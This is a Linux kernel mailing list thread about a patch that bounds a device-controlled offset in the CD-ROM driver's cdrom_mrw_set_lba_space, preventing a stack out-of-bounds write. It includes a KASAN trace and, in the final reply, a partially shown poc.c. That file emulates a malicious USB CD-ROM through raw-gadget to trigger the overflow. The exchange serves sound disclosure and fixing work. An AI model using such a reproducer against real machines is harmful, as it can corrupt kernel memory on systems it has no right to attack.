mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH v2] cdrom: bound the device-supplied offset in cdrom_mrw_set_lba_space
@ 2026-11-11 22:45 Jay Vadayath
  2026-11-24 21:18 ` Phillip Potter
  0 siblings, 1 reply; 3+ messages in thread
From: Jay Vadayath @ 2026-11-11 22:45 UTC (permalink / raw)
  To: Phillip Potter; +Cc: linux-kernel, Jay Vadayath

cdrom_mrw_set_lba_space() issues a MODE SENSE(10) into a 16-byte stack
buffer (char buffer[16]), then takes offset = be16_to_cpu(mph->desc_length)
straight from reply bytes 6..7 and does buffer[offset + 3] = space. The
desc_length field is fully device-controlled (0..65535) and nothing
checks that offset + 3 lies within the buffer, nor that size (derived
from mode_data_length) fits. A drive that returns desc_length = 24 turns
the assignment into buffer[27] = space, a one-byte write 12 bytes past
the end of the stack buffer.

This runs when an MRW-writable CD-ROM is opened O_RDWR, so a malicious or
buggy USB/ATAPI drive (or an emulated one) is enough: no privilege beyond
being able to open /dev/sr0 for writing on an attacker-supplied device.
The sink lives in the CD-ROM core, so it affects every cdrom driver
(sr, ide-cd, pcd, gdrom).

  BUG: KASAN: stack-out-of-bounds in cdrom_mrw_set_lba_space.constprop.0+0x25c/0x260
  Write of size 1 at addr ffff88800639f6db by task poc/133
  Call Trace:
   dump_stack_lvl+0x64/0x80
   print_report+0xd0/0x630
   kasan_report+0xe5/0x120
   cdrom_mrw_set_lba_space.constprop.0+0x25c/0x260
   cdrom_open+0x1169/0x2080
   sr_block_open+0x9e/0x140
   blkdev_get_whole+0x8c/0x200
   bdev_open+0x214/0xc40
   blkdev_open+0x1f8/0x370
   do_dentry_open+0x408/0x1290
   path_openat+0xb2f/0x2210
   do_sys_openat2+0x126/0x170
   ...

Both desc_length (offset) and mode_data_length (size) come straight from
the device reply, so reject anything that would not fit in buffer:
offset + 3 >= sizeof(buffer) or size > sizeof(buffer) returns -EIO before
the write. The sibling cdrom_mode_select consumer of size is covered by
the same guard.

A userspace reproducer using an emulated USB CD-ROM is available on
request. The fix was developed with LLM assistance.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Jay Vadayath <jay@artiphishell.com>
---
Changes since v1: Updated commit message

 drivers/cdrom/cdrom.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c
index 4f1fd389260f..5e910d79045f 100644
--- a/drivers/cdrom/cdrom.c
+++ b/drivers/cdrom/cdrom.c
@@ -571,6 +571,10 @@ static int cdrom_mrw_set_lba_space(struct cdrom_device_info *cdi, int space)
 	offset = be16_to_cpu(mph->desc_length);
 	size = be16_to_cpu(mph->mode_data_length) + 2;
 
+	/* Both fields are device-supplied; reject values that overflow buffer[]. */
+	if (offset + 3 >= (int)sizeof(buffer) || size > (int)sizeof(buffer))
+		return -EIO;
+
 	buffer[offset + 3] = space;
 	cgc.buflen = size;
 
-- 
2.51.2


^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [PATCH v2] cdrom: bound the device-supplied offset in cdrom_mrw_set_lba_space
  2026-11-11 22:45 [PATCH v2] cdrom: bound the device-supplied offset in cdrom_mrw_set_lba_space Jay Vadayath
@ 2026-11-24 21:18 ` Phillip Potter
  2026-11-24 22:16   ` Jay Vadayath
  0 siblings, 1 reply; 3+ messages in thread
From: Phillip Potter @ 2026-11-24 21:18 UTC (permalink / raw)
  To: Jay Vadayath; +Cc: phil, linux-kernel

On Wed, Nov 11, 2026 at 03:45:41PM -0700, Jay Vadayath wrote:
> cdrom_mrw_set_lba_space() issues a MODE SENSE(10) into a 16-byte stack
> buffer (char buffer[16]), then takes offset = be16_to_cpu(mph->desc_length)
> straight from reply bytes 6..7 and does buffer[offset + 3] = space. The
> desc_length field is fully device-controlled (0..65535) and nothing
> checks that offset + 3 lies within the buffer, nor that size (derived
> from mode_data_length) fits. A drive that returns desc_length = 24 turns
> the assignment into buffer[27] = space, a one-byte write 12 bytes past
> the end of the stack buffer.
> 
> This runs when an MRW-writable CD-ROM is opened O_RDWR, so a malicious or
> buggy USB/ATAPI drive (or an emulated one) is enough: no privilege beyond
> being able to open /dev/sr0 for writing on an attacker-supplied device.
> The sink lives in the CD-ROM core, so it affects every cdrom driver
> (sr, ide-cd, pcd, gdrom).
> 
>   BUG: KASAN: stack-out-of-bounds in cdrom_mrw_set_lba_space.constprop.0+0x25c/0x260
>   Write of size 1 at addr ffff88800639f6db by task poc/133
>   Call Trace:
>    dump_stack_lvl+0x64/0x80
>    print_report+0xd0/0x630
>    kasan_report+0xe5/0x120
>    cdrom_mrw_set_lba_space.constprop.0+0x25c/0x260
>    cdrom_open+0x1169/0x2080
>    sr_block_open+0x9e/0x140
>    blkdev_get_whole+0x8c/0x200
>    bdev_open+0x214/0xc40
>    blkdev_open+0x1f8/0x370
>    do_dentry_open+0x408/0x1290
>    path_openat+0xb2f/0x2210
>    do_sys_openat2+0x126/0x170
>    ...
> 
> Both desc_length (offset) and mode_data_length (size) come straight from
> the device reply, so reject anything that would not fit in buffer:
> offset + 3 >= sizeof(buffer) or size > sizeof(buffer) returns -EIO before
> the write. The sibling cdrom_mode_select consumer of size is covered by
> the same guard.
> 
> A userspace reproducer using an emulated USB CD-ROM is available on
> request. The fix was developed with LLM assistance.
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Jay Vadayath <jay@artiphishell.com>
> ---
> Changes since v1: Updated commit message
> 
>  drivers/cdrom/cdrom.c | 4 ++++
>  1 file changed, 4 insertions(+)
> 
> diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c
> index 4f1fd389260f..5e910d79045f 100644
> --- a/drivers/cdrom/cdrom.c
> +++ b/drivers/cdrom/cdrom.c
> @@ -571,6 +571,10 @@ static int cdrom_mrw_set_lba_space(struct cdrom_device_info *cdi, int space)
>  	offset = be16_to_cpu(mph->desc_length);
>  	size = be16_to_cpu(mph->mode_data_length) + 2;
>  
> +	/* Both fields are device-supplied; reject values that overflow buffer[]. */
> +	if (offset + 3 >= (int)sizeof(buffer) || size > (int)sizeof(buffer))
> +		return -EIO;
> +
>  	buffer[offset + 3] = space;
>  	cgc.buflen = size;
>  
> -- 
> 2.51.2
> 

Hi Jay,

Thank you for the patch. Unfortunately, I'm struggling to reproduce the
problem with your reproducer that you sent previously. The patch itself
looks good, but I really would like to see the KASAN error/stack trace
myself.

Can you please send me a single poc.c file with no other mechanisms,
scaffolding or scripts. Ideally I want to be able to build and run this
reproducer and within a few iterations trigger the problem. I have already
built the kernel using your supplied kernel config options, but I cannot seem
to get the problem to occur. Triggering the precise conditions the patch
above guards against should be enough. Thanks in advance.

Regards,
Phil

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [PATCH v2] cdrom: bound the device-supplied offset in cdrom_mrw_set_lba_space
  2026-11-24 21:18 ` Phillip Potter
@ 2026-11-24 22:16   ` Jay Vadayath
  0 siblings, 0 replies; 3+ messages in thread
From: Jay Vadayath @ 2026-11-24 22:16 UTC (permalink / raw)
  To: Phillip Potter; +Cc: linux-kernel

[-- Attachment #1: Type: text/plain, Size: 4324 bytes --]

Hi Phillip,

I apologize for the confusion.
There was a mixup when creating the attachment.

I've now confirmed that the poc.c does reproduce correct bug and
produces the backtrace.
This poc.c file is attached with this email.
SHA-256 (poc.c):
b3310c98ab40145cc137e3c915349154bea178fe62ca6ee6774c2c18e6e936dc

Please let me know if you encounter any problems when using this
attachment to reproduce the bug.

Thank you.



On Tue, Nov 24, 2026 at 2:18 PM Phillip Potter <phil@philpotter.co.uk> wrote:
>
> On Wed, Nov 11, 2026 at 03:45:41PM -0700, Jay Vadayath wrote:
> > cdrom_mrw_set_lba_space() issues a MODE SENSE(10) into a 16-byte stack
> > buffer (char buffer[16]), then takes offset = be16_to_cpu(mph->desc_length)
> > straight from reply bytes 6..7 and does buffer[offset + 3] = space. The
> > desc_length field is fully device-controlled (0..65535) and nothing
> > checks that offset + 3 lies within the buffer, nor that size (derived
> > from mode_data_length) fits. A drive that returns desc_length = 24 turns
> > the assignment into buffer[27] = space, a one-byte write 12 bytes past
> > the end of the stack buffer.
> >
> > This runs when an MRW-writable CD-ROM is opened O_RDWR, so a malicious or
> > buggy USB/ATAPI drive (or an emulated one) is enough: no privilege beyond
> > being able to open /dev/sr0 for writing on an attacker-supplied device.
> > The sink lives in the CD-ROM core, so it affects every cdrom driver
> > (sr, ide-cd, pcd, gdrom).
> >
> >   BUG: KASAN: stack-out-of-bounds in cdrom_mrw_set_lba_space.constprop.0+0x25c/0x260
> >   Write of size 1 at addr ffff88800639f6db by task poc/133
> >   Call Trace:
> >    dump_stack_lvl+0x64/0x80
> >    print_report+0xd0/0x630
> >    kasan_report+0xe5/0x120
> >    cdrom_mrw_set_lba_space.constprop.0+0x25c/0x260
> >    cdrom_open+0x1169/0x2080
> >    sr_block_open+0x9e/0x140
> >    blkdev_get_whole+0x8c/0x200
> >    bdev_open+0x214/0xc40
> >    blkdev_open+0x1f8/0x370
> >    do_dentry_open+0x408/0x1290
> >    path_openat+0xb2f/0x2210
> >    do_sys_openat2+0x126/0x170
> >    ...
> >
> > Both desc_length (offset) and mode_data_length (size) come straight from
> > the device reply, so reject anything that would not fit in buffer:
> > offset + 3 >= sizeof(buffer) or size > sizeof(buffer) returns -EIO before
> > the write. The sibling cdrom_mode_select consumer of size is covered by
> > the same guard.
> >
> > A userspace reproducer using an emulated USB CD-ROM is available on
> > request. The fix was developed with LLM assistance.
> >
> > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> > Signed-off-by: Jay Vadayath <jay@artiphishell.com>
> > ---
> > Changes since v1: Updated commit message
> >
> >  drivers/cdrom/cdrom.c | 4 ++++
> >  1 file changed, 4 insertions(+)
> >
> > diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c
> > index 4f1fd389260f..5e910d79045f 100644
> > --- a/drivers/cdrom/cdrom.c
> > +++ b/drivers/cdrom/cdrom.c
> > @@ -571,6 +571,10 @@ static int cdrom_mrw_set_lba_space(struct cdrom_device_info *cdi, int space)
> >       offset = be16_to_cpu(mph->desc_length);
> >       size = be16_to_cpu(mph->mode_data_length) + 2;
> >
> > +     /* Both fields are device-supplied; reject values that overflow buffer[]. */
> > +     if (offset + 3 >= (int)sizeof(buffer) || size > (int)sizeof(buffer))
> > +             return -EIO;
> > +
> >       buffer[offset + 3] = space;
> >       cgc.buflen = size;
> >
> > --
> > 2.51.2
> >
>
> Hi Jay,
>
> Thank you for the patch. Unfortunately, I'm struggling to reproduce the
> problem with your reproducer that you sent previously. The patch itself
> looks good, but I really would like to see the KASAN error/stack trace
> myself.
>
> Can you please send me a single poc.c file with no other mechanisms,
> scaffolding or scripts. Ideally I want to be able to build and run this
> reproducer and within a few iterations trigger the problem. I have already
> built the kernel using your supplied kernel config options, but I cannot seem
> to get the problem to occur. Triggering the precise conditions the patch
> above guards against should be enough. Thanks in advance.
>
> Regards,
> Phil



--

Regards


Jay Vadayath, Ph.D.  | Co-founder

Artiphishell

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: poc.c --]
[-- Type: text/x-c-code; charset="US-ASCII"; name="poc.c", Size: 24047 bytes --]

// poc.c — raw-gadget USB Bulk-Only-Transport CD-ROM emulator targeting
// cdrom_mrw_set_lba_space() stack OOB write (drivers/cdrom/cdrom.c:574).
//
// Strategy:
//   1. Open /dev/raw-gadget, bind to dummy_udc (dummy_hcd self-enumerates).
//   2. Emulate a USB Mass Storage (BOT / SCSI transparent) device with a
//      single CD-ROM LUN (INQUIRY peripheral type 0x05 -> sr driver binds).
//   3. Answer SCSI commands so sr_probe / get_capabilities /
//      cdrom_probe_write_features (cdrom_is_mrw) advertise MRW-write and set
//      cdi->mrw_mode_page = 0x03, and so open_for_data() sees a ready data disc.
//   4. open("/dev/sr0", O_RDWR) -> cdrom_open -> open_for_data ->
//      cdrom_open_write -> cdrom_mrw_open_write -> cdrom_mrw_set_lba_space.
//   5. Answer the final MODE SENSE(10) page 0x03 with desc_length = 24 so the
//      driver computes buffer[24+3] = buffer[27] (OOB on a 16-byte stack buf).
//
// This is an initial scaffold: the goal is to traverse the setup/trigger path
// and prove reachability via kprobes. It plausibly triggers the OOB too.
//
// Build (static):
//   gcc -static -O2 -o poc poc.c -lpthread

#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>

// ---------------------------------------------------------------------------
// Logging
// ---------------------------------------------------------------------------
#define LOG(fmt, ...) do { \
    fprintf(stderr, "[poc] " fmt "\n", ##__VA_ARGS__); \
    fflush(stderr); \
} while (0)

// ---------------------------------------------------------------------------
// raw-gadget helpers
// ---------------------------------------------------------------------------
static int usb_raw_open(void) {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) { perror("[poc] open(/dev/raw-gadget)"); exit(1); }
    return fd;
}

static void usb_raw_init(int fd, uint8_t speed,
                         const char *driver, const char *device) {
    struct usb_raw_init arg;
    memset(&arg, 0, sizeof(arg));
    strncpy((char *)arg.driver_name, driver, sizeof(arg.driver_name) - 1);
    strncpy((char *)arg.device_name, device, sizeof(arg.device_name) - 1);
    arg.speed = speed;
    if (ioctl(fd, USB_RAW_IOCTL_INIT, &arg) < 0) {
        perror("[poc] USB_RAW_IOCTL_INIT"); exit(1);
    }
}

static void usb_raw_run(int fd) {
    if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
        perror("[poc] USB_RAW_IOCTL_RUN"); exit(1);
    }
}

static int usb_raw_event_fetch(int fd, struct usb_raw_event *event) {
    int rv = ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event);
    if (rv < 0) perror("[poc] USB_RAW_IOCTL_EVENT_FETCH");
    return rv;
}

static int usb_raw_ep0_write(int fd, struct usb_raw_ep_io *io) {
    int rv = ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io);
    if (rv < 0) perror("[poc] USB_RAW_IOCTL_EP0_WRITE");
    return rv;
}

static int usb_raw_ep0_read(int fd, struct usb_raw_ep_io *io) {
    int rv = ioctl(fd, USB_RAW_IOCTL_EP0_READ, io);
    if (rv < 0) perror("[poc] USB_RAW_IOCTL_EP0_READ");
    return rv;
}

static int usb_raw_ep_enable(int fd, struct usb_endpoint_descriptor *desc) {
    int rv = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, desc);
    if (rv < 0) perror("[poc] USB_RAW_IOCTL_EP_ENABLE");
    return rv;
}

static int usb_raw_ep_write(int fd, struct usb_raw_ep_io *io) {
    int rv = ioctl(fd, USB_RAW_IOCTL_EP_WRITE, io);
    if (rv < 0) perror("[poc] USB_RAW_IOCTL_EP_WRITE");
    return rv;
}

static int usb_raw_ep_read(int fd, struct usb_raw_ep_io *io) {
    int rv = ioctl(fd, USB_RAW_IOCTL_EP_READ, io);
    if (rv < 0) perror("[poc] USB_RAW_IOCTL_EP_READ");
    return rv;
}

static void usb_raw_configure(int fd) {
    if (ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0) < 0)
        perror("[poc] USB_RAW_IOCTL_CONFIGURE");
}

static void usb_raw_vbus_draw(int fd, uint32_t power) {
    if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, power) < 0)
        perror("[poc] USB_RAW_IOCTL_VBUS_DRAW");
}

static void usb_raw_ep0_stall(int fd) {
    if (ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0) < 0)
        perror("[poc] USB_RAW_IOCTL_EP0_STALL");
}

// ep0 io with inline buffer
struct usb_raw_control_io {
    struct usb_raw_ep_io inner;
    char data[4096];
};

// ---------------------------------------------------------------------------
// USB descriptors — BOT mass-storage, 2 bulk endpoints
// ---------------------------------------------------------------------------
#define BULK_IN_ADDR   0x81
#define BULK_OUT_ADDR  0x02
#define EP_MAXP        512

static struct usb_device_descriptor dev_desc = {
    .bLength            = USB_DT_DEVICE_SIZE,
    .bDescriptorType    = USB_DT_DEVICE,
    .bcdUSB             = 0x0200,
    .bDeviceClass       = 0,       // per-interface
    .bDeviceSubClass    = 0,
    .bDeviceProtocol    = 0,
    .bMaxPacketSize0    = 64,
    .idVendor           = 0x1234,
    .idProduct          = 0x5678,
    .bcdDevice          = 0x0100,
    .iManufacturer      = 1,
    .iProduct           = 2,
    .iSerialNumber      = 3,
    .bNumConfigurations = 1,
};

// NOTE: sizeof(struct usb_endpoint_descriptor) is 9 (it carries the two
// audio-only trailing fields), so the configuration blob must be serialized
// by hand with 7-byte endpoint descriptors — otherwise the host sees a
// "descriptor of length 0" and SET_CONFIGURATION fails.
#define CONFIG_TOTAL_LEN (USB_DT_CONFIG_SIZE + USB_DT_INTERFACE_SIZE + \
                          USB_DT_ENDPOINT_SIZE + USB_DT_ENDPOINT_SIZE)  // 9+9+7+7=32

static uint8_t config_buf[CONFIG_TOTAL_LEN];

static void build_config(void) {
    uint8_t *p = config_buf;
    // Configuration descriptor (9 bytes)
    *p++ = USB_DT_CONFIG_SIZE;
    *p++ = USB_DT_CONFIG;
    *p++ = CONFIG_TOTAL_LEN & 0xff;
    *p++ = (CONFIG_TOTAL_LEN >> 8) & 0xff;
    *p++ = 1;                       // bNumInterfaces
    *p++ = 1;                       // bConfigurationValue
    *p++ = 0;                       // iConfiguration
    *p++ = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
    *p++ = 0x32;                    // bMaxPower
    // Interface descriptor (9 bytes)
    *p++ = USB_DT_INTERFACE_SIZE;
    *p++ = USB_DT_INTERFACE;
    *p++ = 0;                       // bInterfaceNumber
    *p++ = 0;                       // bAlternateSetting
    *p++ = 2;                       // bNumEndpoints
    *p++ = USB_CLASS_MASS_STORAGE;  // 0x08
    *p++ = 0x06;                    // SCSI transparent
    *p++ = 0x50;                    // Bulk-Only Transport
    *p++ = 0;                       // iInterface
    // Endpoint descriptor: bulk IN (7 bytes)
    *p++ = USB_DT_ENDPOINT_SIZE;
    *p++ = USB_DT_ENDPOINT;
    *p++ = BULK_IN_ADDR;
    *p++ = USB_ENDPOINT_XFER_BULK;
    *p++ = EP_MAXP & 0xff;
    *p++ = (EP_MAXP >> 8) & 0xff;
    *p++ = 0;                       // bInterval
    // Endpoint descriptor: bulk OUT (7 bytes)
    *p++ = USB_DT_ENDPOINT_SIZE;
    *p++ = USB_DT_ENDPOINT;
    *p++ = BULK_OUT_ADDR;
    *p++ = USB_ENDPOINT_XFER_BULK;
    *p++ = EP_MAXP & 0xff;
    *p++ = (EP_MAXP >> 8) & 0xff;
    *p++ = 0;                       // bInterval
}

// Endpoint descriptors for USB_RAW_IOCTL_EP_ENABLE (struct form is fine here).
static struct usb_endpoint_descriptor ep_in_desc = {
    .bLength          = USB_DT_ENDPOINT_SIZE,
    .bDescriptorType  = USB_DT_ENDPOINT,
    .bEndpointAddress = BULK_IN_ADDR,
    .bmAttributes     = USB_ENDPOINT_XFER_BULK,
    .wMaxPacketSize   = EP_MAXP,
    .bInterval        = 0,
};
static struct usb_endpoint_descriptor ep_out_desc = {
    .bLength          = USB_DT_ENDPOINT_SIZE,
    .bDescriptorType  = USB_DT_ENDPOINT,
    .bEndpointAddress = BULK_OUT_ADDR,
    .bmAttributes     = USB_ENDPOINT_XFER_BULK,
    .wMaxPacketSize   = EP_MAXP,
    .bInterval        = 0,
};

// Simple string descriptors.
static int build_string_desc(uint8_t idx, uint8_t *out) {
    if (idx == 0) {
        out[0] = 4; out[1] = USB_DT_STRING;
        out[2] = 0x09; out[3] = 0x04;   // en-US
        return 4;
    }
    const char *s = "rawgadget";
    int n = (int)strlen(s);
    out[0] = (uint8_t)(2 + n * 2);
    out[1] = USB_DT_STRING;
    for (int i = 0; i < n; i++) { out[2 + i*2] = (uint8_t)s[i]; out[3 + i*2] = 0; }
    return out[0];
}

// ---------------------------------------------------------------------------
// SCSI BOT state
// ---------------------------------------------------------------------------
#define CBW_SIGNATURE 0x43425355u   // "USBC"
#define CSW_SIGNATURE 0x53425355u   // "USBS"

struct cbw {
    uint32_t sig;
    uint32_t tag;
    uint32_t data_len;
    uint8_t  flags;      // bit7: 1=IN (device->host)
    uint8_t  lun;
    uint8_t  cb_len;
    uint8_t  cb[16];
} __attribute__((packed));

struct csw {
    uint32_t sig;
    uint32_t tag;
    uint32_t residue;
    uint8_t  status;     // 0 pass, 1 fail
} __attribute__((packed));

static int g_fd = -1;
static int g_ep_in  = -1;   // handle for bulk IN
static int g_ep_out = -1;   // handle for bulk OUT

static void put_be16(uint8_t *p, uint16_t v){ p[0]=v>>8; p[1]=v&0xff; }
static void put_be32(uint8_t *p, uint32_t v){ p[0]=v>>24; p[1]=v>>16; p[2]=v>>8; p[3]=v; }

// Build a MODE SENSE response into buf, return length.
// opcode: 0x5a => MODE SENSE(10) (8-byte header); 0x1a => MODE SENSE(6) (4-byte).
// page: page code requested (cmd[2] & 0x3f).
static int build_mode_sense(uint8_t opcode, uint8_t page, uint8_t *buf, int cap) {
    int is10 = (opcode == 0x5a);
    int hdr  = is10 ? 8 : 4;
    uint8_t *pg = buf + hdr;
    int pglen = 0;

    memset(buf, 0, cap);

    if (page == 0x2a) {
        // CD/DVD capabilities & mechanical status page (valid so sr keeps caps)
        pg[0] = 0x2a;          // page code
        pg[1] = 0x1c;          // page length (28 bytes follow)
        pg[2] = 0x3f;          // read capabilities
        pg[3] = 0x37;          // write capabilities (CD-R/RW, DVD-R/RAM bits)
        pg[4] = 0x71;          // audio/misc
        pg[5] = 0x61;          // misc
        pg[6] = (2 << 5) | 0x08; // loading mechanism = tray (2), can eject
        pg[7] = 0x03;
        put_be16(&pg[8],  706);  // various speed fields
        put_be16(&pg[12], 706);
        put_be16(&pg[14], 706);
        pglen = 2 + 0x1c;
    } else if (page == 0x03 || page == 0x2c) {
        // MRW mode page probe / the vulnerable MODE SENSE(10).
        // Place desc_length = 24 at the mode_page_header offset 6-7 so the
        // driver computes buffer[24+3] = buffer[27] (OOB on 16-byte stack buf).
        // mode_data_length (bytes 0-1) kept small-ish; +2 feeds cgc.buflen.
        if (is10) {
            put_be16(&buf[6], 24);   // desc_length = 24  (THE trigger value)
        }
        pg[0] = page;
        pg[1] = 6;
        pglen = 2 + 6;
    } else {
        // Generic empty page.
        pg[0] = page;
        pg[1] = 6;
        pglen = 2 + 6;
    }

    int total = hdr + pglen;
    if (total > cap) total = cap;

    // Fill the mode-parameter header length fields.
    if (is10) {
        put_be16(&buf[0], (uint16_t)(total - 2)); // mode data length
        buf[2] = 0x05;         // medium type
        // block descriptor length (buf[6..7]) left as set above for 0x03,
        // otherwise 0.
        if (!(page == 0x03 || page == 0x2c)) put_be16(&buf[6], 0);
    } else {
        buf[0] = (uint8_t)(total - 1);
        buf[1] = 0x05;
        buf[3] = 0;
    }
    return total;
}

// Build the SCSI data-in payload for a given CDB. Returns #bytes to send.
static int scsi_data_in(const uint8_t *cdb, int cdb_len, uint32_t want,
                        uint8_t *buf, int cap, int *status) {
    (void)cdb_len;
    *status = 0;
    int n = 0;
    uint8_t op = cdb[0];

    switch (op) {
    case 0x12: { // INQUIRY
        memset(buf, 0, 36);
        buf[0] = 0x05;         // peripheral device type = CD-ROM (TYPE_ROM)
        buf[1] = 0x80;         // removable
        buf[2] = 0x05;         // version
        buf[3] = 0x02;         // response data format
        buf[4] = 31;           // additional length
        memcpy(&buf[8],  "RAWGDGET", 8);
        memcpy(&buf[16], "CD-ROM          ", 16);
        memcpy(&buf[32], "1.0 ", 4);
        n = 36;
        break;
    }
    case 0x03: { // REQUEST SENSE
        memset(buf, 0, 18);
        buf[0] = 0x70;         // current error, fixed format
        buf[7] = 10;           // additional sense length
        n = 18;
        break;
    }
    case 0x25: { // READ CAPACITY(10)
        memset(buf, 0, 8);
        put_be32(&buf[0], 0x00010000 - 1);  // last LBA
        put_be32(&buf[4], 2048);            // block size
        n = 8;
        break;
    }
    case 0x1a:   // MODE SENSE(6)
    case 0x5a: { // MODE SENSE(10)
        uint8_t page = cdb[2] & 0x3f;
        n = build_mode_sense(op, page, buf, cap);
        break;
    }
    case 0x46: { // GET CONFIGURATION — advertise MRW feature with write=1
        memset(buf, 0, cap);
        // feature_header is 8 bytes; mrw_feature_desc starts at buffer[8]:
        //   buf[8..9]  = feature_code (be16) must == CDF_MRW (0x0028)
        //   buf[10]    = curr/persistent/version bits
        //   buf[11]    = add_len
        //   buf[12]    = write bit at bit0  <-- what cdrom_is_mrw reads
        put_be32(&buf[0], 12);            // data length
        put_be16(&buf[6], 0x0008);        // current profile (CD-ROM)
        put_be16(&buf[8], 0x0028);        // feature_code = CDF_MRW
        buf[10] = 0x01;                   // curr=1 (feature active)
        buf[11] = 4;                      // additional length
        buf[12] = 0x01;                   // write = 1  (THE MRW-write advert)
        n = 16;
        break;
    }
    case 0x4a: { // GET EVENT STATUS NOTIFICATION — report media present
        memset(buf, 0, 8);
        put_be16(&buf[0], 6);             // event data length
        buf[2] = 0x04;                    // notification class = media (0x4)
        buf[3] = 0x10;                    // supported event classes
        buf[4] = 0x02;                    // event code = new media / media present
        buf[5] = 0x02;                    // media status: present
        n = 8;
        break;
    }
    case 0x43: { // READ TOC / PMA / ATIP — present one data track
        memset(buf, 0, 12);
        buf[0] = 0x00; buf[1] = 10;       // TOC data length
        buf[2] = 1;                       // first track
        buf[3] = 1;                       // last track
        buf[5] = 0x04;                    // ADR/CTRL: data track (CDROM_DATA_TRACK)
        buf[6] = 1;                       // track number
        n = 12;
        break;
    }
    case 0x51: { // READ DISC INFORMATION
        memset(buf, 0, 34);
        put_be16(&buf[0], 32);
        buf[2] = 0x0e;                    // erasable, state bits
        n = 34;
        break;
    }
    case 0x23: { // READ FORMAT CAPACITIES
        memset(buf, 0, 12);
        buf[3] = 8;
        put_be32(&buf[4], 0x00010000);
        buf[8] = 0x02;                    // formatted media
        put_be16(&buf[10], 2048 & 0xffff);
        n = 12;
        break;
    }
    default:
        // Unknown read command: return zeros, good status.
        memset(buf, 0, cap);
        n = (int)(want < (uint32_t)cap ? want : (uint32_t)cap);
        if (n < 0) n = 0;
        break;
    }

    if ((uint32_t)n > want) n = (int)want;
    return n;
}

// Handle a single CBW on the bulk endpoints.
static void handle_cbw(struct cbw *c) {
    static uint8_t data[4096 + 64];
    static uint8_t iobuf[8192];
    int status = 0;
    uint8_t op = c->cb[0];
    int dir_in = (c->flags & 0x80) != 0;
    uint32_t want = c->data_len;

    if (want > 4096) want = 4096;

    if (dir_in && want > 0) {
        int n = scsi_data_in(c->cb, c->cb_len, want, data, sizeof(data), &status);
        if (n > 0) {
            struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)iobuf;
            io->ep = g_ep_in; io->flags = 0; io->length = n;
            memcpy(io->data, data, n);
            usb_raw_ep_write(g_fd, io);
        }
    } else if (!dir_in && want > 0) {
        // Data-out (e.g. MODE SELECT). Drain it and ignore.
        struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)iobuf;
        io->ep = g_ep_out; io->flags = 0;
        io->length = want > 4096 ? 4096 : want;
        usb_raw_ep_read(g_fd, io);
    }
    // TEST UNIT READY / START STOP / ALLOW REMOVAL etc. -> status good.
    (void)op;

    // Send CSW.
    struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)iobuf;
    struct csw cs;
    cs.sig = CSW_SIGNATURE;
    cs.tag = c->tag;
    cs.residue = 0;
    cs.status = status;
    io->ep = g_ep_in; io->flags = 0; io->length = sizeof(cs);
    memcpy(io->data, &cs, sizeof(cs));
    usb_raw_ep_write(g_fd, io);
}

// Bulk SCSI service loop (runs after SET_CONFIGURATION).
static void *bulk_loop(void *arg) {
    (void)arg;
    static uint8_t iobuf[8192];
    LOG("bulk loop started");
    for (;;) {
        struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)iobuf;
        io->ep = g_ep_out; io->flags = 0; io->length = 31;
        int rv = usb_raw_ep_read(g_fd, io);
        if (rv < 0) {
            usleep(1000);
            continue;
        }
        if (rv < (int)sizeof(struct cbw)) continue;
        struct cbw c;
        memcpy(&c, io->data, sizeof(c));
        if (c.sig != CBW_SIGNATURE) continue;
        handle_cbw(&c);
    }
    return NULL;
}

// ---------------------------------------------------------------------------
// Trigger thread: wait for /dev/sr0, then open O_RDWR.
// ---------------------------------------------------------------------------
// Open every /dev/sr<N> O_RDWR. QEMU's default empty DVD-ROM occupies one sr
// node (yields ENOMEDIUM); our gadget-backed CD-ROM is another. Opening each
// drives the cdrom_open path for the gadget device toward the sink.
static void open_all_sr(const char *tag) {
    char path[32];
    for (int n = 0; n < 8; n++) {
        snprintf(path, sizeof(path), "/dev/sr%d", n);
        if (access(path, F_OK) != 0) continue;
        int fd = open(path, O_RDWR);
        if (fd < 0) {
            LOG("%s open(%s,O_RDWR) errno=%d (%s)", tag, path, errno, strerror(errno));
        } else {
            LOG("%s open(%s,O_RDWR) OK fd=%d", tag, path, fd);
            close(fd);
        }
    }
}

static void *trigger_loop(void *arg) {
    (void)arg;
    // Wait until at least one gadget-backed sr node (beyond QEMU's default)
    // is likely present, then hammer all sr nodes a few rounds to absorb the
    // probe/permission race.
    for (int i = 0; i < 300; i++) {
        int count = 0;
        for (int n = 0; n < 8; n++) {
            char path[32];
            snprintf(path, sizeof(path), "/dev/sr%d", n);
            if (access(path, F_OK) == 0) count++;
        }
        if (count >= 1) {
            LOG("found %d /dev/sr* node(s) after %d ms; triggering", count, i * 100);
            break;
        }
        usleep(100 * 1000);
    }
    // Many rounds over a wide window so a newly-probed gadget node and the
